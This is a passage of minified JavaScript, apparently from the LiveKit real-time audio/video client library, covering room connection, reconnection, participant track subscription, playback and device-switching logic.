settings",Object.assign(Object.assign({},this.logContext),F(e))),this.signalClient.sendUpdateTrackSettings(t)}),e.on(P.UpdateSubscription,t=>{t.participantTracks.forEach(n=>{n.participantSid=this.sid}),this.signalClient.sendUpdateSubscription(t)}),e.on(P.SubscriptionPermissionChanged,t=>{this.emit(C.TrackSubscriptionPermissionChanged,e,t)}),e.on(P.SubscriptionStatusChanged,t=>{this.emit(C.TrackSubscriptionStatusChanged,e,t)}),e.on(P.Subscribed,t=>{this.emit(C.TrackSubscribed,t,e)}),e.on(P.Unsubscribed,t=>{this.emit(C.TrackUnsubscribed,t,e)}),e.on(P.SubscriptionFailed,t=>{this.emit(C.TrackSubscriptionFailed,e.trackSid,t)})}getTrackPublication(e){const t=super.getTrackPublication(e);if(t)return t}getTrackPublicationByName(e){const t=super.getTrackPublicationByName(e);if(t)return t}setVolume(e){let t=arguments.length>1&&arguments[1]!==void 0?arguments[1]:y.Source.Microphone;this.volumeMap.set(t,e);const n=this.getTrackPublication(t);n&&n.track&&n.track.setVolume(e)}getVolume(){let e=arguments.length>0&&arguments[0]!==void 0?arguments[0]:y.Source.Microphone;const t=this.getTrackPublication(e);return t&&t.track?t.track.getVolume():this.volumeMap.get(e)}addSubscribedMediaTrack(e,t,n,r,s,o){let a=this.getTrackPublicationBySid(t);if(a||t.startsWith("TR")||this.trackPublications.forEach(u=>{!a&&e.kind===u.kind.toString()&&(a=u)}),!a){if(o===0){this.log.error("could not find published track",Object.assign(Object.assign({},this.logContext),{trackSid:t})),this.emit(C.TrackSubscriptionFailed,t);return}o===void 0&&(o=20),setTimeout(()=>{this.addSubscribedMediaTrack(e,t,n,r,s,o-1)},150);return}if(e.readyState==="ended"){this.log.error("unable to subscribe because MediaStreamTrack is ended. Do not call MediaStreamTrack.stop()",Object.assign(Object.assign({},this.logContext),F(a))),this.emit(C.TrackSubscriptionFailed,t);return}const c=e.kind==="video";let d;return c?d=new mt(e,t,r,s):d=new $e(e,t,r,this.audioContext,this.audioOutput),d.source=a.source,d.isMuted=a.isMuted,d.setMediaStream(n),d.start(),a.setTrack(d),this.volumeMap.has(a.source)&&d instanceof $e&&d.setVolume(this.volumeMap.get(a.source)),a}get hasMetadata(){return!!this.participantInfo}getTrackPublicationBySid(e){return this.trackPublications.get(e)}updateInfo(e){if(!super.updateInfo(e))return!1;const t=new Map,n=new Map;return e.tracks.forEach(r=>{var s,o;let a=this.getTrackPublicationBySid(r.sid);if(a)a.updateInfo(r);else{const c=y.kindFromProto(r.type);if(!c)return;a=new St(c,r,(s=this.signalClient.connectOptions)===null||s===void 0?void 0:s.autoSubscribe,{loggerContextCb:()=>this.logContext,loggerName:(o=this.loggerOptions)===null||o===void 0?void 0:o.loggerName}),a.updateInfo(r),n.set(r.sid,a);const d=Array.from(this.trackPublications.values()).find(u=>u.source===(a==null?void 0:a.source));d&&a.source!==y.Source.Unknown&&this.log.debug("received a second track publication for ".concat(this.identity," with the same source: ").concat(a.source),Object.assign(Object.assign({},this.logContext),{oldTrack:F(d),newTrack:F(a)})),this.addTrackPublication(a)}t.set(r.sid,a)}),this.trackPublications.forEach(r=>{t.has(r.trackSid)||(this.log.trace("detected removed track on remote participant, unpublishing",Object.assign(Object.assign({},this.logContext),F(r))),this.unpublishTrack(r.trackSid,!0))}),n.forEach(r=>{this.emit(C.TrackPublished,r)}),!0}unpublishTrack(e,t){const n=this.trackPublications.get(e);if(!n)return;const{track:r}=n;switch(r&&(r.stop(),n.setTrack(void 0)),this.trackPublications.delete(e),n.kind){case y.Kind.Audio:this.audioTrackPublications.delete(e);break;case y.Kind.Video:this.videoTrackPublications.delete(e);break}t&&this.emit(C.TrackUnpublished,n)}setAudioOutput(e){return p(this,void 0,void 0,function*(){this.audioOutput=e;const t=[];this.audioTrackPublications.forEach(n=>{var r;n.track instanceof $e&&t.push(n.track.setSinkId((r=e.deviceId)!==null&&r!==void 0?r:"default"))}),yield Promise.all(t)})}emit(e){for(var t=arguments.length,n=new Array(t>1?t-1:0),r=1;r<t;r++)n[r-1]=arguments[r];return this.log.trace("participant event",Object.assign(Object.assign({},this.logContext),{event:e,args:n})),super.emit(e,...n)}}var N;(function(i){i.Disconnected="disconnected",i.Connecting="connecting",i.Connected="connected",i.Reconnecting="reconnecting",i.SignalReconnecting="signalReconnecting"})(N||(N={}));const au=4*1e3;class ho extends ve.EventEmitter{constructor(e){var t,n,r;super(),t=this,this.state=N.Disconnected,this.activeSpeakers=[],this.isE2EEEnabled=!1,this.audioEnabled=!0,this.isVideoPlaybackBlocked=!1,this.log=M,this.bufferedEvents=[],this.isResuming=!1,this.connect=(s,o,a)=>p(this,void 0,void 0,function*(){var c;if(!fd())throw Ee()?Error("WebRTC isn't detected, have you called registerGlobals?"):Error("LiveKit doesn't seem to be supported on this browser. Try to update your browser and make sure no browser extensions are disabling webRTC.");const d=yield this.disconnectLock.lock();if(this.state===N.Connected)return this.log.info("already connected to room ".concat(this.name),this.logContext),d(),Promise.resolve();if(this.connectFuture)return d(),this.connectFuture.promise;this.setAndEmitConnectionState(N.Connecting),((c=this.regionUrlProvider)===null||c===void 0?void 0:c.getServerUrl().toString())!==s&&(this.regionUrl=void 0,this.regionUrlProvider=void 0),zi(new URL(s))&&(this.regionUrlProvider===void 0?this.regionUrlProvider=new lr(s,o):this.regionUrlProvider.updateToken(o),this.regionUrlProvider.fetchRegionSettings().catch(h=>{this.log.warn("could not fetch region settings",Object.assign(Object.assign({},this.logContext),{error:h}))}));const u=(h,f,v)=>p(this,void 0,void 0,function*(){var g;this.abortController&&this.abortController.abort();const b=new AbortController;this.abortController=b,d==null||d();try{yield this.attemptConnection(v??s,o,a,b),this.abortController=void 0,h()}catch(m){if(this.regionUrlProvider&&m instanceof j&&m.reason!==3&&m.reason!==0){let R=null;try{R=yield this.regionUrlProvider.getNextBestRegionUrl((g=this.abortController)===null||g===void 0?void 0:g.signal)}catch(I){if(I instanceof j&&(I.status===401||I.reason===3)){this.handleDisconnect(this.options.stopLocalTrackOnUnpublish),f(I);return}}R?(this.log.info("Initial connection failed with ConnectionError: ".concat(m.message,". Retrying with another region: ").concat(R),this.logContext),this.recreateEngine(),yield u(h,f,R)):(this.handleDisconnect(this.options.stopLocalTrackOnUnpublish),f(m))}else this.handleDisconnect(this.options.stopLocalTrackOnUnpublish),f(m)}}),l=this.regionUrl;return this.regionUrl=void 0,this.connectFuture=new eo((h,f)=>{u(h,f,l)},()=>{this.clearConnectionFutures()}),this.connectFuture.promise}),this.connectSignal=(s,o,a,c,d,u)=>p(this,void 0,void 0,function*(){var l,h,f;const v=yield a.join(s,o,{autoSubscribe:c.autoSubscribe,adaptiveStream:typeof d.adaptiveStream=="object"?!0:d.adaptiveStream,maxRetries:c.maxRetries,e2eeEnabled:!!this.e2eeManager,websocketTimeout:c.websocketTimeout},u.signal);let g=v.serverInfo;if(g||(g={version:v.serverVersion,region:v.serverRegion}),this.log.debug("connected to Livekit Server ".concat(Object.entries(g).map(b=>{let[m,R]=b;return"".concat(m,": ").concat(R)}).join(", ")),{room:(l=v.room)===null||l===void 0?void 0:l.name,roomSid:(h=v.room)===null||h===void 0?void 0:h.sid,identity:(f=v.participant)===null||f===void 0?void 0:f.identity}),!v.serverVersion)throw new Jc("unknown server version");return v.serverVersion==="0.15.1"&&this.options.dynacast&&(this.log.debug("disabling dynacast due to server version",this.logContext),d.dynacast=!1),v}),this.applyJoinResponse=s=>{const o=s.participant;if(this.localParticipant.sid=o.sid,this.localParticipant.identity=o.identity,this.options.e2ee&&this.e2eeManager)try{this.e2eeManager.setSifTrailer(s.sifTrailer)}catch(a){this.log.error(a instanceof Error?a.message:"Could not set SifTrailer",Object.assign(Object.assign({},this.logContext),{error:a}))}this.handleParticipantUpdates([o,...s.otherParticipants]),s.room&&this.handleRoomUpdate(s.room)},this.attemptConnection=(s,o,a,c)=>p(this,void 0,void 0,function*(){var d,u,l;this.state===N.Reconnecting||this.isResuming||!((d=this.engine)===null||d===void 0)&&d.pendingReconnect?(this.log.info("Reconnection attempt replaced by new connection attempt",this.logContext),this.recreateEngine()):this.maybeCreateEngine(),!((u=this.regionUrlProvider)===null||u===void 0)&&u.isCloud()&&this.engine.setRegionUrlProvider(this.regionUrlProvider),this.acquireAudioContext(),this.connOptions=Object.assign(Object.assign({},mn),a),this.connOptions.rtcConfig&&(this.engine.rtcConfig=this.connOptions.rtcConfig),this.connOptions.peerConnectionTimeout&&(this.engine.peerConnectionTimeout=this.connOptions.peerConnectionTimeout);try{const h=yield this.connectSignal(s,o,this.engine,this.connOptions,this.options,c);this.applyJoinResponse(h),this.setupLocalParticipantEvents(),this.emit(k.SignalConnected)}catch(h){yield this.engine.close(),this.recreateEngine();const f=new j("could not establish signal connection");throw h instanceof Error&&(f.message="".concat(f.message,": ").concat(h.message)),h instanceof j&&(f.reason=h.reason,f.status=h.status),this.log.debug("error trying to establish signal connection",Object.assign(Object.assign({},this.logContext),{error:h})),f}if(c.signal.aborted)throw yield this.engine.close(),this.recreateEngine(),new j("Connection attempt aborted");try{yield this.engine.waitForPCInitialConnection(this.connOptions.peerConnectionTimeout,c)}catch(h){throw yield this.engine.close(),this.recreateEngine(),h}ne()&&this.options.disconnectOnPageLeave&&(window.addEventListener("pagehide",this.onPageLeave),window.addEventListener("beforeunload",this.onPageLeave)),ne()&&(document.addEventListener("freeze",this.onPageLeave),(l=navigator.mediaDevices)===null||l===void 0||l.addEventListener("devicechange",this.handleDeviceChange)),this.setAndEmitConnectionState(N.Connected),this.emit(k.Connected),this.registerConnectionReconcile()}),this.disconnect=function(){for(var s=arguments.length,o=new Array(s),a=0;a<s;a++)o[a]=arguments[a];return p(t,[...o],void 0,function(){var c=this;let d=arguments.length>0&&arguments[0]!==void 0?arguments[0]:!0;return function*(){var u,l,h,f;const v=yield c.disconnectLock.lock();try{if(c.state===N.Disconnected){c.log.debug("already disconnected",c.logContext);return}c.log.info("disconnect from room",Object.assign({},c.logContext)),(c.state===N.Connecting||c.state===N.Reconnecting||c.isResuming)&&(c.log.warn("abort connection attempt",c.logContext),(u=c.abortController)===null||u===void 0||u.abort(),(h=(l=c.connectFuture)===null||l===void 0?void 0:l.reject)===null||h===void 0||h.call(l,new j("Client initiated disconnect")),c.connectFuture=void 0),!((f=c.engine)===null||f===void 0)&&f.client.isDisconnected||(yield c.engine.client.sendLeave()),c.engine&&(yield c.engine.close()),c.handleDisconnect(d,ht.CLIENT_INITIATED),c.engine=void 0}finally{v()}}()})},this.onPageLeave=()=>p(this,void 0,void 0,function*(){this.log.info("Page leave detected, disconnecting",this.logContext),yield this.disconnect()}),this.startAudio=()=>p(this,void 0,void 0,function*(){const s=[],o=Pe();if(o&&o.os==="iOS"){const a="livekit-dummy-audio-el";let c=document.getElementById(a);if(!c){c=document.createElement("audio"),c.id=a,c.autoplay=!0,c.hidden=!0;const d=fi();d.enabled=!0;const u=new MediaStream([d]);c.srcObject=u,document.addEventListener("visibilitychange",()=>{c&&(c.srcObject=document.hidden?null:u,document.hidden||(this.log.debug("page visible again, triggering startAudio to resume playback and update playback status",this.logContext),this.startAudio()))}),document.body.append(c),this.once(k.Disconnected,()=>{c==null||c.remove(),c=null})}s.push(c)}this.remoteParticipants.forEach(a=>{a.audioTrackPublications.forEach(c=>{c.track&&c.track.attachedElements.forEach(d=>{s.push(d)})})});try{yield Promise.all([this.acquireAudioContext(),...s.map(a=>(a.muted=!1,a.play()))]),this.handleAudioPlaybackStarted()}catch(a){throw this.handleAudioPlaybackFailed(a),a}}),this.startVideo=()=>p(this,void 0,void 0,function*(){const s=[];for(const o of this.remoteParticipants.values())o.videoTrackPublications.forEach(a=>{var c;(c=a.track)===null||c===void 0||c.attachedElements.forEach(d=>{s.includes(d)||s.push(d)})});yield Promise.all(s.map(o=>o.play())).then(()=>{this.handleVideoPlaybackStarted()}).catch(o=>{o.name==="NotAllowedError"?this.handleVideoPlaybackFailed():this.log.warn("Resuming video playback failed, make sure you call `startVideo` directly in a user gesture handler",this.logContext)})}),this.handleRestarting=()=>{this.clearConnectionReconcile(),this.isResuming=!1;for(const s of this.remoteParticipants.values())this.handleParticipantDisconnected(s.identity,s);this.setAndEmitConnectionState(N.Reconnecting)&&this.emit(k.Reconnecting)},this.handleSignalRestarted=s=>p(this,void 0,void 0,function*(){this.log.debug("signal reconnected to server, region ".concat(s.serverRegion),Object.assign(Object.assign({},this.logContext),{region:s.serverRegion})),this.bufferedEvents=[],this.applyJoinResponse(s);try{yield this.localParticipant.republishAllTracks(void 0,!0)}catch(o){this.log.error("error trying to re-publish tracks after reconnection",Object.assign(Object.assign({},this.logContext),{error:o}))}try{yield this.engine.waitForRestarted(),this.log.debug("fully reconnected to server",Object.assign(Object.assign({},this.logContext),{region:s.serverRegion}))}catch{return}this.setAndEmitConnectionState(N.Connected),this.emit(k.Reconnected),this.registerConnectionReconcile(),this.emitBufferedEvents()}),this.handleParticipantUpdates=s=>{s.forEach(o=>{var a;if(o.identity===this.localParticipant.identity){this.localParticipant.updateInfo(o);return}o.identity===""&&(o.identity=(a=this.sidToIdentity.get(o.sid))!==null&&a!==void 0?a:"");let c=this.remoteParticipants.get(o.identity);o.state===Ri.DISCONNECTED?this.handleParticipantDisconnected(o.identity,c):c=this.getOrCreateParticipant(o.identity,o)})},this.handleActiveSpeakersUpdate=s=>{const o=[],a={};s.forEach(c=>{if(a[c.sid]=!0,c.sid===this.localParticipant.sid)this.localParticipant.audioLevel=c.level,this.localParticipant.setIsSpeaking(!0),o.push(this.localParticipant);else{const d=this.getRemoteParticipantBySid(c.sid);d&&(d.audioLevel=c.level,d.setIsSpeaking(!0),o.push(d))}}),a[this.localParticipant.sid]||(this.localParticipant.audioLevel=0,this.localParticipant.setIsSpeaking(!1)),this.remoteParticipants.forEach(c=>{a[c.sid]||(c.audioLevel=0,c.setIsSpeaking(!1))}),this.activeSpeakers=o,this.emitWhenConnected(k.ActiveSpeakersChanged,o)},this.handleSpeakersChanged=s=>{const o=new Map;this.activeSpeakers.forEach(c=>{o.set(c.sid,c)}),s.forEach(c=>{let d=this.getRemoteParticipantBySid(c.sid);c.sid===this.localParticipant.sid&&(d=this.localParticipant),d&&(d.audioLevel=c.level,d.setIsSpeaking(c.active),c.active?o.set(c.sid,d):o.delete(c.sid))});const a=Array.from(o.values());a.sort((c,d)=>d.audioLevel-c.audioLevel),this.activeSpeakers=a,this.emitWhenConnected(k.ActiveSpeakersChanged,a)},this.handleStreamStateUpdate=s=>{s.streamStates.forEach(o=>{const a=this.getRemoteParticipantBySid(o.participantSid);if(!a)return;const c=a.getTrackPublicationBySid(o.trackSid);!c||!c.track||(c.track.streamState=y.streamStateFromProto(o.state),a.emit(C.TrackStreamStateChanged,c,c.track.streamState),this.emitWhenConnected(k.TrackStreamStateChanged,c,c.track.streamState,a))})},this.handleSubscriptionPermissionUpdate=s=>{const o=this.getRemoteParticipantBySid(s.participantSid);if(!o)return;const a=o.getTrackPublicationBySid(s.trackSid);a&&a.setAllowed(s.allowed)},this.handleSubscriptionError=s=>{const o=Array.from(this.remoteParticipants.values()).find(c=>c.trackPublications.has(s.trackSid));if(!o)return;const a=o.getTrackPublicationBySid(s.trackSid);a&&a.setSubscriptionError(s.err)},this.handleDataPacket=s=>{const o=this.remoteParticipants.get(s.participantIdentity);s.value.case==="user"?this.handleUserPacket(o,s.value.value,s.kind):s.value.case==="transcription"?this.handleTranscription(o,s.value.value):s.value.case==="sipDtmf"&&this.handleSipDtmf(o,s.value.value)},this.handleUserPacket=(s,o,a)=>{this.emit(k.DataReceived,o.payload,s,a,o.topic),s==null||s.emit(C.DataReceived,o.payload,a)},this.handleSipDtmf=(s,o)=>{this.emit(k.SipDTMFReceived,o,s),s==null||s.emit(C.SipDTMFReceived,o)},this.bufferedSegments=new Map,this.handleTranscription=(s,o)=>{const a=o.participantIdentity===this.localParticipant.identity?this.localParticipant:s,c=a==null?void 0:a.trackPublications.get(o.trackId),d=Sd(o);c==null||c.emit(P.TranscriptionReceived,d),a==null||a.emit(C.TranscriptionReceived,d,c),this.emit(k.TranscriptionReceived,d,a,c)},this.handleAudioPlaybackStarted=()=>{this.canPlaybackAudio||(this.audioEnabled=!0,this.emit(k.AudioPlaybackStatusChanged,!0))},this.handleAudioPlaybackFailed=s=>{this.log.warn("could not playback audio",Object.assign(Object.assign({},this.logContext),{error:s})),this.canPlaybackAudio&&(this.audioEnabled=!1,this.emit(k.AudioPlaybackStatusChanged,!1))},this.handleVideoPlaybackStarted=()=>{this.isVideoPlaybackBlocked&&(this.isVideoPlaybackBlocked=!1,this.emit(k.VideoPlaybackStatusChanged,!0))},this.handleVideoPlaybackFailed=()=>{this.isVideoPlaybackBlocked||(this.isVideoPlaybackBlocked=!0,this.emit(k.VideoPlaybackStatusChanged,!1))},this.handleDeviceChange=()=>p(this,void 0,void 0,function*(){this.emit(k.MediaDevicesChanged)}),this.handleRoomUpdate=s=>{const o=this.roomInfo;this.roomInfo=s,o&&o.metadata!==s.metadata&&this.emitWhenConnected(k.RoomMetadataChanged,s.metadata),(o==null?void 0:o.activeRecording)!==s.activeRecording&&this.emitWhenConnected(k.RecordingStatusChanged,s.activeRecording)},this.handleConnectionQualityUpdate=s=>{s.updates.forEach(o=>{if(o.participantSid===this.localParticipant.sid){this.localParticipant.setConnectionQuality(o.quality);return}const a=this.getRemoteParticipantBySid(o.participantSid);a&&a.setConnectionQuality(o.quality)})},this.onLocalParticipantMetadataChanged=s=>{this.emit(k.ParticipantMetadataChanged,s,this.localParticipant)},this.onLocalParticipantNameChanged=s=>{this.emit(k.ParticipantNameChanged,s,this.localParticipant)},this.onLocalTrackMuted=s=>{this.emit(k.TrackMuted,s,this.localParticipant)},this.onLocalTrackUnmuted=s=>{this.emit(k.TrackUnmuted,s,this.localParticipant)},this.onTrackProcessorUpdate=s=>{var o;(o=s==null?void 0:s.onPublish)===null||o===void 0||o.call(s,this)},this.onLocalTrackPublished=s=>p(this,void 0,void 0,function*(){var o,a,c,d,u;(o=s.track)===null||o===void 0||o.on(P.TrackProcessorUpdate,this.onTrackProcessorUpdate),(d=(c=(a=s.track)===null||a===void 0?void 0:a.getProcessor())===null||c===void 0?void 0:c.onPublish)===null||d===void 0||d.call(c,this),this.emit(k.LocalTrackPublished,s,this.localParticipant),s.track instanceof Y&&(yield s.track.checkForSilence())&&this.emit(k.LocalAudioSilenceDetected,s);const l=yield(u=s.track)===null||u===void 0?void 0:u.getDeviceId(),h=sd(s.source);h&&l&&l!==this.localParticipant.activeDeviceMap.get(h)&&(this.localParticipant.activeDeviceMap.set(h,l),this.emit(k.ActiveDeviceChanged,h,l))}),this.onLocalTrackUnpublished=s=>{var o;(o=s.track)===null||o===void 0||o.off(P.TrackProcessorUpdate,this.onTrackProcessorUpdate),this.emit(k.LocalTrackUnpublished,s,this.localParticipant)},this.onLocalConnectionQualityChanged=s=>{this.emit(k.ConnectionQualityChanged,s,this.localParticipant)},this.onMediaDevicesError=s=>{this.emit(k.MediaDevicesError,s)},this.onLocalParticipantPermissionsChanged=s=>{this.emit(k.ParticipantPermissionsChanged,s,this.localParticipant)},this.setMaxListeners(100),this.remoteParticipants=new Map,this.sidToIdentity=new Map,this.options=Object.assign(Object.assign({},Bd),e),this.log=Ce((n=this.options.loggerName)!==null&&n!==void 0?n:he.Room),this.options.audioCaptureDefaults=Object.assign(Object.assign({},ro),e==null?void 0:e.audioCaptureDefaults),this.options.videoCaptureDefaults=Object.assign(Object.assign({},so),e==null?void 0:e.videoCaptureDefaults),this.options.publishDefaults=Object.assign(Object.assign({},jd),e==null?void 0:e.publishDefaults),this.maybeCreateEngine(),this.disconnectLock=new oe,this.localParticipant=new $i("","",this.engine,this.options),this.options.videoCaptureDefaults.deviceId&&this.localParticipant.activeDeviceMap.set("videoinput",Se(this.options.videoCaptureDefaults.deviceId)),this.options.audioCaptureDefaults.deviceId&&this.localParticipant.activeDeviceMap.set("audioinput",Se(this.options.audioCaptureDefaults.deviceId)),!((r=this.options.audioOutput)===null||r===void 0)&&r.deviceId&&this.switchActiveDevice("audiooutput",Se(this.options.audioOutput.deviceId)).catch(s=>this.log.warn("Could not set audio output: ".concat(s.message),this.logContext)),this.options.e2ee&&this.setupE2EE()}setE2EEEnabled(e){return p(this,void 0,void 0,function*(){if(this.e2eeManager)yield Promise.all([this.localParticipant.setE2EEEnabled(e)]),this.localParticipant.identity!==""&&this.e2eeManager.setParticipantCryptorEnabled(e,this.localParticipant.identity);else throw Error("e2ee not configured, please set e2ee settings within the room options")})}setupE2EE(){var e;this.options.e2ee&&(this.e2eeManager=new Pd(this.options.e2ee),this.e2eeManager.on(Oe.ParticipantEncryptionStatusChanged,(t,n)=>{n instanceof $i&&(this.isE2EEEnabled=t),this.emit(k.ParticipantEncryptionStatusChanged,t,n)}),this.e2eeManager.on(Oe.EncryptionError,t=>this.emit(k.EncryptionError,t)),(e=this.e2eeManager)===null||e===void 0||e.setup(this))}get logContext(){var e;return{room:this.name,roomID:(e=this.roomInfo)===null||e===void 0?void 0:e.sid,participant:this.localParticipant.identity,pID:this.localParticipant.sid}}get isRecording(){var e,t;return(t=(e=this.roomInfo)===null||e===void 0?void 0:e.activeRecording)!==null&&t!==void 0?t:!1}getSid(){return p(this,void 0,void 0,function*(){return this.state===N.Disconnected?"":this.roomInfo&&this.roomInfo.sid!==""?this.roomInfo.sid:new Promise((e,t)=>{const n=r=>{r.sid!==""&&(this.engine.off(E.RoomUpdate,n),e(r.sid))};this.engine.on(E.RoomUpdate,n),this.once(k.Disconnected,()=>{this.engine.off(E.RoomUpdate,n),t("Room disconnected before room server id was available")})})})}get name(){var e,t;return(t=(e=this.roomInfo)===null||e===void 0?void 0:e.name)!==null&&t!==void 0?t:""}get metadata(){var e;return(e=this.roomInfo)===null||e===void 0?void 0:e.metadata}get numParticipants(){var e,t;return(t=(e=this.roomInfo)===null||e===void 0?void 0:e.numParticipants)!==null&&t!==void 0?t:0}get numPublishers(){var e,t;return(t=(e=this.roomInfo)===null||e===void 0?void 0:e.numPublishers)!==null&&t!==void 0?t:0}maybeCreateEngine(){this.engine&&!this.engine.isClosed||(this.engine=new eu(this.options),this.engine.on(E.ParticipantUpdate,this.handleParticipantUpdates).on(E.RoomUpdate,this.handleRoomUpdate).on(E.SpeakersChanged,this.handleSpeakersChanged).on(E.StreamStateChanged,this.handleStreamStateUpdate).on(E.ConnectionQualityUpdate,this.handleConnectionQualityUpdate).on(E.SubscriptionError,this.handleSubscriptionError).on(E.SubscriptionPermissionUpdate,this.handleSubscriptionPermissionUpdate).on(E.MediaTrackAdded,(e,t,n)=>{this.onTrackAdded(e,t,n)}).on(E.Disconnected,e=>{this.handleDisconnect(this.options.stopLocalTrackOnUnpublish,e)}).on(E.ActiveSpeakersUpdate,this.handleActiveSpeakersUpdate).on(E.DataPacketReceived,this.handleDataPacket).on(E.Resuming,()=>{this.clearConnectionReconcile(),this.isResuming=!0,this.log.info("Resuming signal connection",this.logContext),this.setAndEmitConnectionState(N.SignalReconnecting)&&this.emit(k.SignalReconnecting)}).on(E.Resumed,()=>{this.registerConnectionReconcile(),this.isResuming=!1,this.log.info("Resumed signal connection",this.logContext),this.updateSubscriptions(),this.emitBufferedEvents(),this.setAndEmitConnectionState(N.Connected)&&this.emit(k.Reconnected)}).on(E.SignalResumed,()=>{this.bufferedEvents=[],(this.state===N.Reconnecting||this.isResuming)&&this.sendSyncState()}).on(E.Restarting,this.handleRestarting).on(E.SignalRestarted,this.handleSignalRestarted).on(E.Offline,()=>{this.setAndEmitConnectionState(N.Reconnecting)&&this.emit(k.Reconnecting)}).on(E.DCBufferStatusChanged,(e,t)=>{this.emit(k.DCBufferStatusChanged,e,t)}),this.localParticipant&&this.localParticipant.setupEngine(this.engine),this.e2eeManager&&this.e2eeManager.setupEngine(this.engine))}static getLocalDevices(e){let t=arguments.length>1&&arguments[1]!==void 0?arguments[1]:!0;return Z.getInstance().getDevices(e,t)}prepareConnection(e,t){return p(this,void 0,void 0,function*(){if(this.state===N.Disconnected){this.log.debug("prepareConnection to ".concat(e),this.logContext);try{if(zi(new URL(e))&&t){this.regionUrlProvider=new lr(e,t);const n=yield this.regionUrlProvider.getNextBestRegionUrl();n&&this.state===N.Disconnected&&(this.regionUrl=n,yield fetch(er(n),{method:"HEAD"}),this.log.debug("prepared connection to ".concat(n),this.logContext))}else yield fetch(er(e),{method:"HEAD"})}catch(n){this.log.warn("could not prepare connection",Object.assign(Object.assign({},this.logContext),{error:n}))}}})}getParticipantByIdentity(e){return this.localParticipant.identity===e?this.localParticipant:this.remoteParticipants.get(e)}clearConnectionFutures(){this.connectFuture=void 0}simulateScenario(e,t){return p(this,void 0,void 0,function*(){let n=()=>{},r;switch(e){case"signal-reconnect":yield this.engine.client.handleOnClose("simulate disconnect");break;case"speaker":r=new fe({scenario:{case:"speakerUpdate",value:3}});break;case"node-failure":r=new fe({scenario:{case:"nodeFailure",value:!0}});break;case"server-leave":r=new fe({scenario:{case:"serverLeave",value:!0}});break;case"migration":r=new fe({scenario:{case:"migration",value:!0}});break;case"resume-reconnect":this.engine.failNext(),yield this.engine.client.handleOnClose("simulate resume-disconnect");break;case"disconnect-signal-on-resume":n=()=>p(this,void 0,void 0,function*(){yield this.engine.client.handleOnClose("simulate resume-disconnect")}),r=new fe({scenario:{case:"disconnectSignalOnResume",value:!0}});break;case"disconnect-signal-on-resume-no-messages":n=()=>p(this,void 0,void 0,function*(){yield this.engine.client.handleOnClose("simulate resume-disconnect")}),r=new fe({scenario:{case:"disconnectSignalOnResumeNoMessages",value:!0}});break;case"full-reconnect":this.engine.fullReconnectOnNext=!0,yield this.engine.client.handleOnClose("simulate full-reconnect");break;case"force-tcp":case"force-tls":r=new fe({scenario:{case:"switchCandidateProtocol",value:e==="force-tls"?2:1}}),n=()=>p(this,void 0,void 0,function*(){const s=this.engine.client.onLeave;s&&s(new Zt({reason:ht.CLIENT_INITIATED,action:We.RECONNECT}))});break;case"subscriber-bandwidth":if(t===void 0||typeof t!="number")throw new Error("subscriber-bandwidth requires a number as argument");r=new fe({scenario:{case:"subscriberBandwidth",value:BigInt(t)}});break;case"leave-full-reconnect":r=new fe({scenario:{case:"leaveRequestFullReconnect",value:!0}})}r&&(yield this.engine.client.sendSimulateScenario(r),yield n())})}get canPlaybackAudio(){return this.audioEnabled}get canPlaybackVideo(){return!this.isVideoPlaybackBlocked}getActiveDevice(e){return this.localParticipant.activeDeviceMap.get(e)}switchActiveDevice(e,t){return p(this,arguments,void 0,function(n,r){var s=this;let o=arguments.length>2&&arguments[2]!==void 0?arguments[2]:!1;return function*(){var a,c,d,u;let l=!1,h=!0;const f=o?{exact:r}:r;if(n==="audioinput"){const v=s.options.audioCaptureDefaults.deviceId;s.options.audioCaptureDefaults.deviceId=f,l=v!==f;const g=Array.from(s.localParticipant.audioTrackPublications.values()).filter(b=>b.source===y.Source.Microphone);try{h=(yield Promise.all(g.map(b=>{var m;return(m=b.audioTrack)===null||m===void 0?void 0:m.setDeviceId(f)}))).every(b=>b===!0)}catch(b){throw s.options.audioCaptureDefaults.deviceId=v,b}}else if(n==="videoinput"){const v=s.options.videoCaptureDefaults.deviceId;s.options.videoCaptureDefaults.deviceId=f,l=v!==f;const g=Array.from(s.localParticipant.videoTrackPublications.values()).filter(b=>b.source===y.Source.Camera);try{h=(yield Promise.all(g.map(b=>{var m;return(m=b.videoTrack)===null||m===void 0?void 0:m.setDeviceId(f)}))).every(b=>b===!0)}catch(b){throw s.options.videoCaptureDefaults.deviceId=v,b}}else if(n==="audiooutput"){if(!Wi()&&!s.options.webAudioMix||s.options.webAudioMix&&s.audioContext&&!("setSinkId"in s.audioContext))throw new Error("cannot switch audio output, setSinkId not supported");s.options.webAudioMix&&(r=(a=yield Z.getInstance().normalizeDeviceId("audiooutput",r))!==null&&a!==void 0?a:""),(c=(u=s.options).audioOutput)!==null&&c!==void 0||(u.audioOutput={});const v=s.options.audioOutput.deviceId;s.options.audioOutput.deviceId=r,l=v!==f;try{s.options.webAudioMix&&((d=s.audioContext)===null||d===void 0||d.setSinkId(r)),yield Promise.all(Array.from(s.remoteParticipants.values()).map(g=>g.setAudioOutput({deviceId:r})))}catch(g){throw s.options.audioOutput.deviceId=v,g}}return l&&h&&(s.localParticipant.activeDeviceMap.set(n,r),s.emit(k.ActiveDeviceChanged,n,r)),h}()})}setupLocalParticipantEvents(){this.localParticipant.on(C.ParticipantMetadataChanged,this.onLocalParticipantMetadataChanged).on(C.ParticipantNameChanged,this.onLocalParticipantNameChanged).on(C.TrackMuted,this.onLocalTrackMuted).on(C.TrackUnmuted,this.onLocalTrackUnmuted).on(C.LocalTrackPublished,this.onLocalTrackPublished).on(C.LocalTrackUnpublished,this.onLocalTrackUnpublished).on(C.ConnectionQualityChanged,this.onLocalConnectionQualityChanged).on(C.MediaDevicesError,this.onMediaDevicesError).on(C.AudioStreamAcquired,this.startAudio).on(C.ParticipantPermissionsChanged,this.onLocalParticipantPermissionsChanged)}recreateEngine(){var e;(e=this.engine)===null||e===void 0||e.close(),this.engine=void 0,this.isResuming=!1,this.remoteParticipants.clear(),this.sidToIdentity.clear(),this.bufferedEvents=[],this.maybeCreateEngine()}onTrackAdded(e,t,n){if(this.state===N.Connecting||this.state===N.Reconnecting){const u=()=>{this.onTrackAdded(e,t,n),l()},l=()=>{this.off(k.Reconnected,u),this.off(k.Connected,u),this.off(k.Disconnected,l)};this.once(k.Reconnected,u),this.once(k.Connected,u),this.once(k.Disconnected,l);return}if(this.state===N.Disconnected){this.log.warn("skipping incoming track after Room disconnected",this.logContext);return}const r=ud(t.id),s=r[0];let o=r[1],a=e.id;if(o&&o.startsWith("TR")&&(a=o),s===this.localParticipant.sid){this.log.warn("tried 